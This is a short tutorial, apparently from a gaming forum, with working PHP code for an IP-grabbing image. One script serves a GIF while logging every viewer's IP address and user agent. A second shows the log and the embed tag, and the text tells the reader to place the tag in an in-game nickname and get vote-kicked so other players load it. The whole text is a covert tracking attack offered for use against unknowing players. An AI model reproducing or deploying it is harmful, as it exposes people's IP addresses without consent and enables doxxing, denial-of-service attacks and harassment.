You need:
  • Hosting
  • Domain
  • PHP


Our domain will be "example.com"

Create 2 files:
  • img.php
  • visitors.php


img.php:
Code:
<?
	header("Content-type: image/png");


	readfile("img.gif");
	$d = json_encode($_REQUEST);
	$line = date('Y-m-d H:i:s') . " - $_SERVER[REMOTE_ADDR] - $_SERVER[HTTP_USER_AGENT] - $d";
	file_put_contents('visitors.log', $line . PHP_EOL, FILE_APPEND);
?>
visitors.php:
Code:
<h2>Code to catch IP: </h2>
<p><textarea readonly='true' style='width: 500px; height: 150px;'><br><img src="https://example.com/img.php" style="max-width: 100%;"><br><br><br><br><br></textarea></p>
<br><br>
<?
	echo str_replace("\n", '<br>', file_get_contents('visitors.log'));
?>
also upload any picture/gif with filename "img.gif", it will be displayed for players.
After uploading, visit example.com/visitors.php , you will see code to set for your nickname.
Ask your friend or somebody else to vote-kick you, after that refresh example.com/visitors.php page and you will see IP of every player who see GIF.